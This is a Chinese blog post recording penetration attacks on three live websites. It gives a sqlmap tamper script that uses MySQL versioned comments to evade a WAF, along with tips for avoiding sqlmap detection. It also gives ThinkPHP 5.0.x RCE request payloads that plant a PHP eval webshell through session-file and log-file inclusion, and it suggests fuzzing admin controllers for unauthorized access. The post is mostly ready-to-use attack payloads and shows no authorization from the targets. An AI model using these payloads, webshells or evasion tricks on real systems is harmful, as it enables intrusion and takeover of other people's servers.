一些渗透实战记录


前言

简单记录最近几个实战渗透的站点。

第一个站点

sql注入

收到Xray的sql注入告警。

简单测试了一下确实存在数字型注入,但是存在waf检测到sql注入一些关键词直接403

经过测试只是检测关键词,这个时候我们可以考虑

  • 使用生僻函数代替所在检测的关键词。
  • 使用注释扰乱waf的正则匹配。

这里我使用内联注释/*!....*/进行fuzz测试。

当!后面所接的数据库版本号时,当实际的版本等于或是高于那个字符串,应用程序就会将注释内容解释为SQL,否则就会当做注释来处理。默认的,当没有接版本号时,是会执行里面的内容的。

不填充版本号被拦截

随便填充版本号注意不要填太大,成功绕过,看来是一个很弱的waf。。。。

利用mysql的注释来对抗waf的正则匹配非常有效因为其太过于灵活如下:

编写tamper脚本

太懒了手工是不可能的了,直接编写tamper脚本来跑。写的过程发现了sqlmap集成了一个类似的versionedmorekeywords.py

进行简单修改一下就行

#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import os
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.data import kb
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS

__priority__ = PRIORITY.HIGHER

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s >= 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    """
    Encloses each keyword with (MySQL) versioned comment

    Requirement:
        * MySQL >= 5.1.13

    Tested against:
        * MySQL 5.1.56, 5.5.11

    Notes:
        * Useful to bypass several web application firewalls when the
          back-end database management system is MySQL

    >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#')
    '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
    """

    def process(match):
        word = match.group('word')
        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
            return match.group().replace(word, "/*!50011%s*/" % word)
        else:
            return match.group()

    retVal = payload

    if payload:
        retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal)
        retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")

    return retVal

注意点

测试的脚本一直都跑不出来,使用-v3参数看了一遍又一遍payload应该是没有问题但是就是检测不到注入。最终抓包查看才知道如来是waf检测到了sqlmap的特征直接ban掉了。使用--random-agent构造随机user-agent并且降低线程就成功跑出数据了。

第二个站点

thinkphp rce

这个没什么好说的,thinkphp5.0.x的Rce:

POST:_method=__construct&method=get&filter[]=phpinfo&get[]=-1

这里主要提一下如何Getshell。从phpinfo页面泄漏的信息目标操作系统为linux,php版本7.2.6,并且禁用了常见执行命令的函数。

这里我们可以考虑:

  • 包含session文件Getshell
  • 包含日志文件Getshell。

一般可以优先考虑包含session文件Getshell进行Getshell,包含日志文件的话有可能因为日志文件过大而包含失败。

首先查看session文件保存位置,这里为空在linux下如果为空则默认保存在/tmp下。

写木马进sesion中:

设置cookie为:Cookie: PHPSESSID=test
POST:_method=__construct&filter[]=think\Session::set&method=GET&get[]=<?php eval($_POST['EASY2132'])?>

然后使用文件包含:

_method=__construct&method=get&filter[]=think\__include_file&get[]=/tmp/sess_test&server[]=1&EASY2132=phpinfo();

写入日志Getshell的方法:

首先确定日志文件位置:

thinkphp日志命名格式:文件夹年+月份/天.log

_method=__construct&filter[]=highlight_file&method=GET&get[]=../runtime/log/202011/07.log

写shell到日志中:

_method=__construct&filter[]=call_user_func&method=GET&get[]=<?php eval($_POST['c']);?>

日志包含:

_method=__construct&filter[]=think\\__include_file&method=GET&get[]=../runtime/log/202011/07.log&c=phpinfo();

第三个站点

未授权访问

同样是一个基于thinkphp框架开发的网站,在渗透TP开发的网站除了优先考虑其框架本身的漏洞以及日志泄漏以外我们可以Fuzz后台一些控制器。

例如:

xxx/index.php/Admin/Manage/loginPic

这里我们可以对loginPic进行Fuzz控制器名称,如果后台某些控制器权限控制不严格,可能会有未授权的产生。


文章作者: EASY
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EASY !
 上一篇
记一次正则匹配绕过 记一次正则匹配绕过
前言打开论坛发现有表哥在讨论一个问题,如下代码存在注入吗? select * from admin where (guanliyuan='{$guanliyuan}' and mima='{$pwd}') 过滤方法: preg_replac
2021-05-15 EASY
下一篇 
python中requests库一些注意事项 python中requests库一些注意事项
前言最近使用requests库的时候发现了一些以前自已没有注意到的问题,这里记录一下。 爬虫乱码问题.text方法的缺陷首先我们思考一下Python-requests中的.content和.text方法的区别。 .text 返回的是Bea
2021-04-18 EASY
  目录